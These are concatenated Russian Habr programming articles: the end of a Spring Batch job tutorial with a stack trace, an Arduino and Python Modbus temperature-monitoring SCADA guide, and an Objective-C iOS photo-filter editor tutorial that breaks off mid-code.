> at org.springframework.batch.core.step.item.FaultTolerantChunkProcessor.shouldSkip(FaultTolerantChunkProcessor.java:519) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.step.item.FaultTolerantChunkProcessor.access$500(FaultTolerantChunkProcessor.java:56) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.step.item.FaultTolerantChunkProcessor$2.recover(FaultTolerantChunkProcessor.java:289) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.retry.support.RetryTemplate.handleRetryExhausted(RetryTemplate.java:539) ~[spring-retry-1.3.3.jar:na]
>
> at org.springframework.retry.support.RetryTemplate.doExecute(RetryTemplate.java:387) ~[spring-retry-1.3.3.jar:na]
>
> at org.springframework.retry.support.RetryTemplate.execute(RetryTemplate.java:255) ~[spring-retry-1.3.3.jar:na]
>
> at org.springframework.batch.core.step.item.BatchRetryTemplate.execute(BatchRetryTemplate.java:217) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.step.item.FaultTolerantChunkProcessor.transform(FaultTolerantChunkProcessor.java:308) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.step.item.SimpleChunkProcessor.process(SimpleChunkProcessor.java:210) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.step.item.ChunkOrientedTasklet.execute(ChunkOrientedTasklet.java:77) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.step.tasklet.TaskletStep$ChunkTransactionCallback.doInTransaction(TaskletStep.java:407) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.step.tasklet.TaskletStep$ChunkTransactionCallback.doInTransaction(TaskletStep.java:331) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.transaction.support.TransactionTemplate.execute(TransactionTemplate.java:140) ~[spring-tx-5.3.19.jar:5.3.19]
>
> at org.springframework.batch.core.step.tasklet.TaskletStep$2.doInChunkContext(TaskletStep.java:273) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.scope.context.StepContextRepeatCallback.doInIteration(StepContextRepeatCallback.java:82) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.repeat.support.RepeatTemplate.getNextResult(RepeatTemplate.java:375) ~[spring-batch-infrastructure-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.repeat.support.RepeatTemplate.executeInternal(RepeatTemplate.java:215) ~[spring-batch-infrastructure-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.repeat.support.RepeatTemplate.iterate(RepeatTemplate.java:145) ~[spring-batch-infrastructure-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.step.tasklet.TaskletStep.doExecute(TaskletStep.java:258) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.step.AbstractStep.execute(AbstractStep.java:208) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.job.SimpleStepHandler.handleStep(SimpleStepHandler.java:152) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.job.AbstractJob.handleStep(AbstractJob.java:413) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.job.SimpleJob.doExecute(SimpleJob.java:136) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.job.AbstractJob.execute(AbstractJob.java:320) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.launch.support.SimpleJobLauncher$1.run(SimpleJobLauncher.java:149) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.core.task.SyncTaskExecutor.execute(SyncTaskExecutor.java:50) ~[spring-core-5.3.19.jar:5.3.19]
>
> at org.springframework.batch.core.launch.support.SimpleJobLauncher.run(SimpleJobLauncher.java:140) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
>
> at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
>
> at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
>
> at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
>
> at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:344) ~[spring-aop-5.3.19.jar:5.3.19]
>
> at org.springframework.aop.framework.ReflectiveMethodInvocation.invokeJoinpoint(ReflectiveMethodInvocation.java:198) ~[spring-aop-5.3.19.jar:5.3.19]
>
> at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:163) ~[spring-aop-5.3.19.jar:5.3.19]
>
> at org.springframework.batch.core.configuration.annotation.SimpleBatchConfiguration$PassthruAdvice.invoke(SimpleBatchConfiguration.java:128) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:186) ~[spring-aop-5.3.19.jar:5.3.19]
>
> at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:215) ~[spring-aop-5.3.19.jar:5.3.19]
>
> at com.sun.proxy.$Proxy54.run(Unknown Source) ~[na:na]
>
> at org.springframework.boot.autoconfigure.batch.JobLauncherApplicationRunner.execute(JobLauncherApplicationRunner.java:199) ~[spring-boot-autoconfigure-2.6.7.jar:2.6.7]
>
> at org.springframework.boot.autoconfigure.batch.JobLauncherApplicationRunner.executeLocalJobs(JobLauncherApplicationRunner.java:173) ~[spring-boot-autoconfigure-2.6.7.jar:2.6.7]
>
> at org.springframework.boot.autoconfigure.batch.JobLauncherApplicationRunner.launchJobFromProperties(JobLauncherApplicationRunner.java:160) ~[spring-boot-autoconfigure-2.6.7.jar:2.6.7]
>
> at org.springframework.boot.autoconfigure.batch.JobLauncherApplicationRunner.run(JobLauncherApplicationRunner.java:155) ~[spring-boot-autoconfigure-2.6.7.jar:2.6.7]
>
> at org.springframework.boot.autoconfigure.batch.JobLauncherApplicationRunner.run(JobLauncherApplicationRunner.java:150) ~[spring-boot-autoconfigure-2.6.7.jar:2.6.7]
>
> at org.springframework.boot.SpringApplication.callRunner(SpringApplication.java:768) ~[spring-boot-2.6.7.jar:2.6.7]
>
> at org.springframework.boot.SpringApplication.callRunners(SpringApplication.java:758) ~[spring-boot-2.6.7.jar:2.6.7]
>
> at org.springframework.boot.SpringApplication.run(SpringApplication.java:310) ~[spring-boot-2.6.7.jar:2.6.7]
>
> at org.springframework.boot.SpringApplication.run(SpringApplication.java:1312) ~[spring-boot-2.6.7.jar:2.6.7]
>
> at org.springframework.boot.SpringApplication.run(SpringApplication.java:1301) ~[spring-boot-2.6.7.jar:2.6.7]
>
> at ru.usetech.springbatchdemo.SpringBatchDemoApplication.main(SpringBatchDemoApplication.java:10) ~[classes/:na]
>
> Caused by: ru.usetech.springbatchdemo.IncorrectValueException: null
>
> at ru.usetech.springbatchdemo.BatchConfig.lambda$totalCalculatingProcessor$1(BatchConfig.java:84) ~[classes/:na]
>
> at org.springframework.batch.core.step.item.SimpleChunkProcessor.doProcess(SimpleChunkProcessor.java:134) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.batch.core.step.item.FaultTolerantChunkProcessor$1.doWithRetry(FaultTolerantChunkProcessor.java:239) ~[spring-batch-core-4.3.5.jar:4.3.5]
>
> at org.springframework.retry.support.RetryTemplate.doExecute(RetryTemplate.java:329) ~[spring-retry-1.3.3.jar:na]
>
> ... 44 common frames omitted
>
> 2022-04-29 01:29:11.243 INFO 7482 --- [ main] o.s.batch.core.step.AbstractStep : Step: [load-csv-file] executed in 66ms
>
> 2022-04-29 01:29:11.249 INFO 7482 --- [ main] o.s.b.c.l.support.SimpleJobLauncher : Job: [SimpleJob: [name=import-report-job]] completed with the following parameters: [{run.id=1}] and the following status: [FAILED] in 124ms
>
>
В этот раз выполнение задания завершено с ошибкой Skip limit of '3' exceeded, что соответствует настройкам второго шага задания.
В этой статье показаны основы применения Spring Batch на примере пакетной загрузки отчёта. Множество других функций, таких как статистика выполнения заданий, диспетчеризация, управление транзакциями, перезапуск и пропуск заданий, распределённая обработка, интеграция с bpm системами не могут быть описаны в одной статье и требуют детального рассмотрения. | https://habr.com/ru/post/671196/ | null | ru | null |
# Простая Scada на Python и Arduino
В продолжение [статьи](https://habrahabr.ru/post/339678/) о возможности построения собственной scada системы на языке Python, хочу предложить вариант практического применения.
Возникла необходимость контроля температуры воздуха в серверном помещении предприятия.
Такая проблема существует на малых предприятиях ввиду ограниченности количества персонала и технических средств.
Проблема конечно не глобального масштаба, но, как правило, на подобных предприятиях серверное оборудование располагают в небольших помещениях, иногда в бывших коптерках или хозяйственных комнатах.
Разумеется, для эффективного охлаждения оборудования там устанавливают кондиционер.
Но вот этот самый кондиционер имеет свойство ломаться, как объясняют ремонтники, то «конденсатор перегорел», то «фреон закончился».
После таких ЧП у IT инженеров возникает множество проблем, кто сталкивался с этим, тот поймет. Задача не является сложной, к тому же в сети существует много примеров реализации. Для данной цели решено было воспользоваться Arduino UNO и датчиком температуры DS18b20.
Прочитав [статью](https://habrahabr.ru/post/249043/), загрузил в Arduino **программу.**
```
#include "ModbusRtu.h"
#include
#define ID 10 // адрес ведомого
Modbus slave(ID, 0, 0);
// массив данных modbus
uint16\_t au16data[20];
const int analogInPin = A0;
int8\_t state = 0;
int DS18S20\_Pin = 2; //DS18S20 Signal pin on digital 2
OneWire ds(DS18S20\_Pin); // on digital pin 2
int tmp =0;
void setup() {
// настраиваем последовательный порт ведомого
slave.begin( 9600 );
// зажигаем светодиод на 100 мс
}
void loop() {
float temperature = getTemp();
tmp= temperature \* 10;
au16data[2] = tmp;
state = slave.poll( au16data, 11);
delay(10);
}
float getTemp(){
//returns the temperature from one DS18S20 in DEG Celsius
byte data[12];
byte addr[8];
if ( !ds.search(addr)) {
//no more sensors on chain, reset search
ds.reset\_search();
return -1000;
}
if ( OneWire::crc8( addr, 7) != addr[7]) {
Serial.println("CRC is not valid!");
return -1000;
}
if ( addr[0] != 0x10 && addr[0] != 0x28) {
Serial.print("Device is not recognized");
return -1000;
}
ds.reset();
ds.select(addr);
ds.write(0x44,1); // start conversion, with parasite power on at the end
byte present = ds.reset();
ds.select(addr);
ds.write(0xBE); // Read Scratchpad
for (int i = 0; i < 9; i++) { // we need 9 bytes
data[i] = ds.read();
}
ds.reset\_search();
byte MSB = data[1];
byte LSB = data[0];
float tempRead = ((MSB << 8) | LSB); //using two's compliment
float TemperatureSum = tempRead / 16;
return TemperatureSum;
}
```
Теперь Arduinо выступает в роли Slave устройства с адресом 10 и работает по протоколу modbus RTU. Помимо этого, программа в постоянном цикле опрашивает датчик температуры DS18b20 и записывает текущие показания по адресу 2 регистра READ\_INPUT\_REGISTERS.
Поскольку Slave устройство соединяется с компьютером по USB интерфейсу с выделенным com портом, то для получения данных от него можно воспользоваться программой:
**modbus\_rtu.py.**
```
#!/usr/bin/env python
import sys
import time
import logging
import modbus_tk
import modbus_tk.defines as cst
import modbus_tk.modbus_tcp as modbus_tcp
from modbus_tk import modbus_rtu
import serial
logger = modbus_tk.utils.create_logger("console")
if __name__ == "__main__":
serverSlave=''
portSlave=0
param = []
reg=[]
startAdr=[]
rangeAdr=[]
setFrom=[]
setRange=[]
rtuAddress=[]
units=0
try:
count=0
param = []
i=0
for _ in range(256):
param.append(i)
reg.append(i)
startAdr.append(i)
rangeAdr.append(i)
setFrom.append(i)
setRange.append(i)
rtuAddress.append(i)
i = i + 1
with open('setting.cfg') as f:
for line in f:
param[count]=line.split(';')
if(param[count][0]=='server'):
serverSlave= param[count][1]
portSlave = param[count][2]
if(param[count][0]=='cport'):
serialPort= param[count][1]
if(param[count][0]=='rtu'):
rtuAddress[count] = param[count][1]
reg[count] = param[count][2]
startAdr[count] = param[count][3]
rangeAdr[count] = param[count][4]
setFrom[count] = param[count][5]
setRange[count] = param[count][6]
count=count + 1
units=count
server = modbus_tcp.TcpServer(address=serverSlave, port=int(portSlave) )
server.start()
slave = server.add_slave(1)
slave.add_block('0', cst.COILS, 0, 1000)
slave.add_block('1', cst.DISCRETE_INPUTS, 0, 1000)
slave.add_block('2', cst.ANALOG_INPUTS, 0, 1000)
slave.add_block('3', cst.HOLDING_REGISTERS, 0, 1000)
f.close()
serialPort=serial.Serial(port=serialPort, baudrate=9600, bytesize=8, parity='N', stopbits=1, xonxoff=0)
master = modbus_rtu.RtuMaster( serialPort )
master.set_timeout(1.0)
except IOError as e:
print "I/O error({0}): {1}".format(e.errno, e.strerror)
try:
print 'Starting server...'
while True:
i=0
for i in range(units):
if(reg[i] == 'READ_INPUT_REGISTERS'):
dataRIR=[]
for c in range(0, int(rangeAdr[i]) ):
dataRIR.append(c)
c+=1
try:
dataRIR= master.execute(int(rtuAddress[i]), cst.READ_INPUT_REGISTERS, int(startAdr[i]), int(rangeAdr[i]) )
slave.set_values('2', int(setFrom[i]), dataRIR)
serialPort.flushInput()
serialPort.flushOutput()
serialPort.flush()
print 'rtu' , rtuAddress[i],'READ_INPUT_REGISTERS',dataRIR
except:
for c in range(0,int(rangeAdr[i]) ):
dataRIR[c] = 0
c+=1
print 'rtu' , rtuAddress[i],'READ_INPUT_REGISTERS','Fail to connect',dataRIR
slave.set_values('2', int(setFrom[i]), dataRIR)
if(reg[i] == 'READ_DISCRETE_INPUTS'):
dataRDI=[]
for c in range(0, int(rangeAdr[i]) ):
dataRDI.append(c)
c+=1
try:
dataRDI= master.execute(int(rtuAddress[i]), cst.READ_DISCRETE_INPUTS, int(startAdr[i]), int(rangeAdr[i]) )
slave.set_values('1', int(setFrom[i]), dataRDI)
serialPort.flushInput()
serialPort.flushOutput()
serialPort.flush()
print 'rtu' , rtuAddress[i],'READ_DISCRETE_INPUTS',dataRDI
except:
for c in range(0,int(rangeAdr[i]) ):
dataRDI[c] = 0
c+=1
print 'rtu' , rtuAddress[i],'READ_DISCRETE_INPUTS','Fail to connect' ,dataRDI,len(dataRDI)
slave.set_values('1', int(setFrom[i]), dataRDI)
if(reg[i] == 'READ_COILS'):
dataRC=[]
for c in range(0, int(rangeAdr[i]) ):
dataRC.append(c)
c+=1
try:
dataRC= master.execute(int(rtuAddress[i]), cst.READ_COILS, int(startAdr[i]), int(rangeAdr[i]) )
slave.set_values('0', int(setFrom[i]), dataRC)
serialPort.flushInput()
serialPort.flushOutput()
serialPort.flush()
print 'rtu' , rtuAddress[i],'READ_COILS',dataRC
except:
for c in range(0,int(rangeAdr[i]) ):
dataRC[c] = 0
c+=1
slave.set_values('0', int(setFrom[i]), dataRC)
print 'rtu' , rtuAddress[i],'READ_COILS','Fail to connect',dataRC
if(reg[i] == 'READ_HOLDING_REGISTERS'):
dataRHR=[]
for c in range(0, int(rangeAdr[i]) ):
dataRHR.append(c)
c+=1
try:
dataRHR= master.execute(int(rtuAddress[i]), cst.READ_HOLDING_REGISTERS, int(startAdr[i]), int(rangeAdr[i]) )
slave.set_values('3', int(setFrom[i]), dataRHR)
serialPort.flushInput()
serialPort.flushOutput()
serialPort.flush()
print 'rtu' ,rtuAddress[i],'READ_HOLDING_REGISTERS',dataRHR
except:
for c in range(0,int(rangeAdr[i]) ):
dataRHR[c] = 0
c+=1
slave.set_values('3', int(setFrom[i]), dataRHR)
print 'rtu ', rtuAddress[i],'READ_HOLDING_REGISTERS','Fail to connect',dataRHR
time.sleep(0.1)
except modbus_tk.modbus.ModbusError, e:
logger.error("%s- Code=%d" % (e, e.get_exception_code()))
```
С одной стороны эта программа является Master для опроса подчиненных устройств по протоколу modbus RTU, а с другой является Slave устройством и передает данные на верхний уровень по протоколу modbus TCP.
Программа master\_rtu.py используется в случае, если приходится собирать показания с нескольких устройств по протоколу modbus RTU и/или интерфейсу rs485. В файле конфигурации указывается адрес com порта и rtu адреса slave устройств. Кроме того указываются регистры опроса и адреса регистров, в которые записываются полученные данные.
Описание файла настроек setting.cfg для **master\_rtu.py**:
```
server;192.168.0.200;507; #
# server - идентификатор переменной
# 192.168.0.200 - IP адрес slave части modbus TCP для входящих подключений
# 507 - Порт slave части modbus TCP для входящих подключений
cport;COM5; #
# cport - идентификатор переменной
# COM5 - адрес СОМ порта для опроса терминальных устройств по протоколу modbusRTU
rtu;10;READ_INPUT_REGISTERS;0;10;0;0;comment
# rtu - идентификатор переменной
# 10 - rtu адрес slave устройства куда подключаемся
# READ_INPUT_REGISTERS -регистр для чтения slave устройства куда подключаемся
# варианты:
# READ_DISCRETE_INPUTS
# READ_COILS
# READ_HOLDING_REGISTERS
# 2 - стартовый адрес регистра с которого начинается чтение данных на slave устройстве modbus RTU
# 1 - количество адресов регистра которые считываются на slave устройстве modbus RTU
# 0 - стартовый адрес размещения полученных данных на slave части утилиты modbus TCP
# comment - комментарий
```
В данной конфигурации будет опрашиваться modbus RTU Slave устройство с адресом 10. В регистре READ\_INPUT\_REGISTERS по адресу 2 будет прочитано значение измеренной температуры и записано в регистр READ\_INPUT\_REGISTERS по адресу 0 slave части программы для опроса по modbus TCP.
В файле настроек аналоговых сигналов **ai.cfg** записываем:
```
ai;1;100;100;green;0.1;50;Air Temp A;ameter;
```
Т.е. будем брать измеренное значение температуры регистра READ\_INPUT\_REGISTERS по адресу 0х00, размещать на canvas в координатах x=100, y=100 и отображать с помощью стрелочного объекта мнемосхемы.
В файле настроек **settings.cfg** для scada.py пишем:
```
slaveIP=192.168.0.200 -- ip адрес modbus TCP slave устройства
slavePort=504 -- порт modbus TCP slave устройства
discretCfg=di.cfg
coilCfg=ci.cfg
analogCfg=ai.cfg
buttonCfg=bt.cfg
bgimage=bg.gif
delayTime=500
debug=False
```
Результаты измерений можно вывести на различные объекты мнемосхемы, в том числе осуществлять контроль на динамическом графике.
Исходный код можно скачать здесь [здесь.](http://scadapy.ln-group.ru/temperature.rar) | https://habr.com/ru/post/339800/ | null | ru | null |
# Гайд по созданию простого фоторедактора
Сегодня мы предлагаем читателям подробное руководство по созданию простого фоторедактора на iOS. Для опытных разработчиков задача несложная, но новичкам подобный пошаговый разбор всего процесса, возможно, окажется полезен. Речь пойдет о классической среде разработки для выбранной операционной системы – Xcode version 8.2.1. Разработку будем вести, опять же, на классическом объектно-ориентированном языке программирования Objective-C.
Прежде чем приступать к собственно разработке, предлагаем сначала разбить задачу на подзадачи.
1. Загрузить фотографию из галереи
2. Создать коллекцию с фильтрами
3. Реализовать возможность применять любой из фильтров на выбранную нами фотографию
4. Сохранить результат в галерею.
Итак, приступим. Открываем Xcode и выбираем шаблон для разработки под iOS во вкладке Application → Single View Application. Назовем наш проект My First Photo Editor. Далее укажем директорию, куда хотим сохранить проект.
Выберем механизм разработки интерфейса программы main.storyboard.
Нам придется переходить и на другие сцены, которые будут добавляться позже. Для этого перетащим Navigation Controller на storyboard.
Удалим Root View Controller Scene – он нам не понадобится. Теперь осталось связать Navigation Controller c исходным View Controller.
Выбираем Navigation Controller, ставим галочку напротив «Is Initial View Controller» (Navigation Controller → Attributes Inspector → View Controller → Is Initial View Controller; на картинках можно увидеть, как это сделать) и связываем Navigation Controller с View Controller.
На View Controller нам понадобится кнопка для открытия окна галереи. Перенесем ее из Object Library.
Создадим событие нажатия на кнопку и добавим его в свойства контроллера.
Так как мы будем использовать делегатные методы, добавим в интерфейс контроллера ViewConroller.h протоколы делагатов UIImagePickerControllerDelegate,UINavigationControllerDelegate
Получается:
```
@interface ViewController : UIViewController
```
Пропишем в действии кнопки следующие строки:
```
- (IBAction)btnOpen_pressed:(id)sender {
UIImagePickerController *picker = [[UIImagePickerControlleralloc] init];
picker.delegate = self;
[pickersetSourceType:UIImagePickerControllerSourceTypePhotoLibrary];
[selfpresentViewController:picker animated:YEScompletion:nil];// вызов окна галереи
}
```
Запускаем проект и видим на симуляторе нашу кнопку. Попробуем нажать и… получим краш. Почему? Мы забыли добавить свойство в info.plist NSPhotoLibraryUsageDescription. Исправим эту ошибку.
Теперь нужно добавить на storyboard еще один View Controller. Сделаем связь по схеме, представленной на скриншотах.
Пропишем Indetifier ключ «toFilters». На иллюстрации показано, как это можно сделать. Выберем связь на Storyboard → Attributes Inspector → Storyboard → identifier → toFilters.
Теперь добавим во ViewController.m методы выбора фото и перехода на новый контроллер.
```
// делагатный метод, который вызывается после выбора изображения
-(void)imagePickerController:(UIImagePickerController *)picker
didFinishPickingImage:(UIImage *)image
editingInfo:(NSDictionary *)editingInfo
{
[pickerdismissViewControllerAnimated:YEScompletion:nil];
self.btnOpenPhoto.enabled = NO;
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
self.selectedImage = image;
dispatch_async(dispatch_get_main_queue(), ^{
[selfperformSegueWithIdentifier:kFiltersSegueIdsender:self];
self.btnOpenPhoto.enabled = YES;
});
});
}
// делагатный метод, который вызывается при отмене выбора изображения
-(void) imagePickerControllerDidCancel:(UIImagePickerController *)picker {
[pickerdismissViewControllerAnimated:YEScompletion:nil];
}
#pragma mark - segue
// Этот метод будет вызван у контроллера, из которого был начат переход
-(void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender
{//kFiltersSegueId – это константа типа String с идентификатором перехода «toFilters»
if ([segue.identifierisEqualToString:kFiltersSegueId])
{
FiltersViewController *destinationController = (FiltersViewController *)segue.destinationViewController;
destinationController.image = self.selectedImage;
}
}
```
Для нового контроллера нам нужно создать особый класс. Для этого в верхней панели выбираем File → New → File → Cocoa Touch Class → Next. Назовем его FiltersViewController и обязательно выберем в графе Subclass UIViewController. В Indetity inspector прописываем наш класс.
Добавляем на контроллер Scroll View (или какую-нибудь другую View, на ваше усмотрение), в нем будет отображаться изображение с применненым фильтром. Создаем связь с FiltersViewController.
Добавим Scroll View в свойства контролера, как делали ранее. Добавим свойства UIImageView и UIimage.
При этом свойство UIImage нужно добавить в FiltersViewController.h, так как мы планируем использовать его в другом классе.
Теперь создадим коллекцию с фильтрами. Находим в Object Library объект Collection View.
Создаем новый класс для коллекции. Заходим в xib файл, добавляем UIimageView и Label.
Длаее зададим размеры UIImageView. Самый простой способ это сделать – зажать правой клавишей объект и перетащить его на тот, к которому хотим привязать. Выбираем связи, как показано на скриншоте. Затем переходим в Size inspector этого объекта и изменяем настройки. Выставляем все constraints в 0.
Устанавливаем связь между элементами.
Импортируем новый класс в FiltersViewController
и добавляем FiltersViewControllerCell в этот класс вот таким образом:
Теперь добавим в свойства FiltersViewController массив NSMutableArray и оператор NSOperationQueue – они нам пригодятся чуть позже.
Жизненный цикл UIViewController начинается с метода loadView. А значит, в этом методе нам нужно передать картинку, которую мы выбрали на прошлой сцене, и добавить превью в коллекцию.
В результате loadView будет выглядеть так:
```
- (void)loadView{
[super loadView];
self.automaticallyAdjustsScrollViewInsets = NO;
[[NSNotificationCenter defaultCenter] addObserver:selfselector:@selector(orientationChanged:) name:UIDeviceOrientationDidChangeNotificationobject:[UIDevice currentDevice]];
if ([self.navigationController respondsToSelector:@selector(interactivePopGestureRecognizer)]) {
self.navigationController.interactivePopGestureRecognizer.enabled = NO;
}
_imageView = [[UIImageView alloc] init];
[_scrollView addSubview:_imageView];
_imageView.image = _image;
_imageView.frame = CGRectMake(0, 0, _image.size.width, _image.size.height);
_filteringQueue = [NSOperationQueue new];
_filteringQueue.maxConcurrentOperationCount = 1;
_filteringQueue.qualityOfService = NSQualityOfServiceUserInitiated;
[self.filtersCollection registerNib:[UINib nibWithNibName:@"FiltersCollectionViewCell" bundle:nil] forCellWithReuseIdentifier:@"filtersCollectionCell»];//Регистрируем xib файл для коллекции.
// Do any additional setup after loading the view.
}
```
Чтобы не перезагружать контроллер, создадим класс Extension и добавим в него методы, которые будут выполнять функцию наложения фильтра на изображение:
```
#import "Extension.h"
@implementation CIImage (Extension)
-(CIImage *)applyFilter:(long)i
{
CIFilter *filter;
switch (i) {
case 0:
return [self copy];
break;
case 1:
filter = [CIFilter filterWithName:@"CISepiaTone"];
break;
case 2:
filter = [CIFilter filterWithName:@"CIColorMonochrome"];
break;
case 3:
filter = [CIFilter filterWithName:@"CIPhotoEffectMono"];
break;
case 4:
filter = [CIFilter filterWithName:@"CIPhotoEffectInstant"];
break;
case 5:
filter = [CIFilter filterWithName:@"CIHueAdjust"];
[filter setDefaults];
[filter setValue: [NSNumber numberWithFloat: M_PI] forKey: kCIInputAngleKey];
break;
case 6:
filter = [CIFilter filterWithName:@"CIHueAdjust"];
[filter setDefaults];
[filter setValue: [NSNumber numberWithFloat: M_PI_2] forKey: kCIInputAngleKey];
break;
case 7:
filter = [CIFilter filterWithName:@"CIColorInvert"];
break;
case 8:
filter = [CIFilter filterWithName:@"CIFalseColor"];
break;
case 9:
filter = [CIFilter filterWithName:@"CIPhotoEffectTonal"];
break;
case 10:
filter= [CIFilter filterWithName:@"CIPhotoEffectTransfer"];
break;
case 11:
filter= [CIFilter filterWithName:@"CIPhotoEffectProcess"];
break;
case 12:
filter= [CIFilter filterWithName:@"CIPhotoEffectChrome"];
break;
case 13:
filter = [CIFilter filterWithName:@"CIGaussianBlur"];
[filter setDefaults];
[filter setValue: [NSNumber numberWithFloat:(self.extent.size.width + self.extent.size.height)/30.] forKey:@"inputRadius"];
default:
break;
}
[filter setValue:self forKey:kCIInputImageKey];
CIImage *result = [filter valueForKey:kCIOutputImageKey];
return result;
}
@end
@implementation UIImage (Extension)
+(NSArray *)filterNames
{
static NSArray *names;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
names = @[@"Original",@"Sepia", @"Old Photo", @"Mono", @"Instant", @"Shift", @"Hue", @"Invert", @"Falce", @"Tonal", @"Transfer", @"Process", @"Chrome"];
});
return names;
}
- (UIImage *)applyFilter:(long)i
{
CIImage *ciImage = [[CIImage alloc] initWithImage: self];
CIImage *result = [ciImage applyFilter:i];
CGRect extent1 = [result extent];
CIContext *context = [CIContext contextWithOptions:nil];
CGImageRef cgImage1 = [context createCGImage:result fromRect:extent1];
UIImage *img = [UIImage imageWithCGImage:cgImage1];
CGImageRelease(cgImage1);
return img;
}
+ (instancetype)imageWithCIImageImproved:(CIImage *)img
{
CGRect extent = [img extent];
CIContext *context = [CIContext contextWithOptions:nil];
CGImageRef cgImage = [context createCGImage:img fromRect:extent];
UIImage *image = [UIImage imageWithCGImage:cgImage];
CGImageRelease(cgImage);
return image;
}
@end
```
далее пропишем интерфейс вызовов в Extension.h:
```
#import
@interface CIImage (Extension)
-(CIImage \*)applyFilter:(long)i;
@end
@interface UIImage (Extension)
@property (class, readonly) NSArray \* filterNames;
+ (NSArray \*)filterNames;
- (UIImage \*)applyFilter:(long)i;
+ (instancetype)imageWithCIImageImproved:(CIImage \*)img;
@end
```
Добавляем следующие методы для коллекции и для Scroll View в класс FiltersViewController.m:
```
#pragma mark - Collection
// Возвращает количество ячеек для секции, обязательный метод
-(NSInteger)collectionView:(UICollectionView *)collectionView numberOfItemsInSection:(NSInteger)section
{
returnself.filterPreviews.count;
}
// Возвращает размер ячейки
- (CGSize)collectionView:(UICollectionView *)collectionView layout:(UICollectionViewLayout *)collectionViewLayout sizeForItemAtIndexPath:(NSIndexPath *)indexPath
{
CGFloat sz = collectionView.frame.size.height - 6;
returnCGSizeMake(sz, sz);
}
//Обязательный метод, в реализации которого мы возвращаем созданный и сконфигурированный объект UICollectionViewCell
-(UICollectionViewCell *)collectionView:(UICollectionView *)collectionView cellForItemAtIndexPath:(NSIndexPath *)indexPath
{
long index = [indexPath item];
FiltersCollectionViewCell *cell = [collectionView dequeueReusableCellWithReuseIdentifier:@"filtersCollectionCell"forIndexPath:indexPath];
UIImageView *ivPreview = cell.imageFilter;
ivPreview.image = self.filterPreviews[index];
ivPreview.clipsToBounds = YES;
ivPreview.layer.cornerRadius = 3.;
UILabel *labelName = cell.nameFilter;
labelName.text = [UIImagefilterNames][index];
return cell;
}
// метод, который вызывается, если ячейка была успешно выбрана
- (void)collectionView:(UICollectionView *)collectionView didSelectItemAtIndexPath:(NSIndexPath *)indexPath
{
[self.filteringQueuecancelAllOperations];
__blockUIImage *filtered = nil;
NSBlockOperation *operation1 = [NSBlockOperationblockOperationWithBlock:^{
filtered = [self.imageapplyFilter:[indexPath item]];
}];
NSBlockOperation *operation2 = [NSBlockOperationblockOperationWithBlock:^{
[CATransactionbegin];
dispatch_sync(dispatch_get_main_queue(), ^{
if (filtered) {
_imageView.image = filtered;
}
});
}];
[operation2addDependency:operation1];
[self.filteringQueueaddOperation:operation1];
[self.filteringQueueaddOperation:operation2];
}
#pragma mark - Scroll View
// метод возвращает объект UIView, используемый при масштабировании содержимого
-(UIView *)viewForZoomingInScrollView:(UIScrollView *)scrollView {
returnself.imageView;
}
// делегатный метод, вызываемый во время изменения масштаба содержимого
- (void)scrollViewDidZoom:(UIScrollView *)scrollView {
CGSize sz = scrollView.contentSize;
float xInsets = MAX(0, scrollView.frame.size.width/2.-sz.width/2.);
float yInsets = MAX(0, scrollView.frame.size.height/2.-sz.height/2.);
[scrollViewsetContentInset:UIEdgeInsetsMake(yInsets,xInsets,yInsets,xInsets)];
}
// метод, который вызывается при смене ориентации
- (void) orientationChanged:(NSNotification *)note
{
[self.viewlayoutSubviews];
[selfupdateScaleInScrollView:self.scrollView];
}
// метод, который корректно выводит содережимое ScrollView после изменения масштаба
-(void)updateScaleInScrollView:(UIScrollView *)scrollView
{
UIImage *image = _image;
float minScale = sizeFit(image.size,scrollView.frame.size).width/image.size.width;
scrollView.maximumZoomScale = MAX(1,minScale);
scrollView.minimumZoomScale = minScale;
scrollView.zoomScale = minScale;
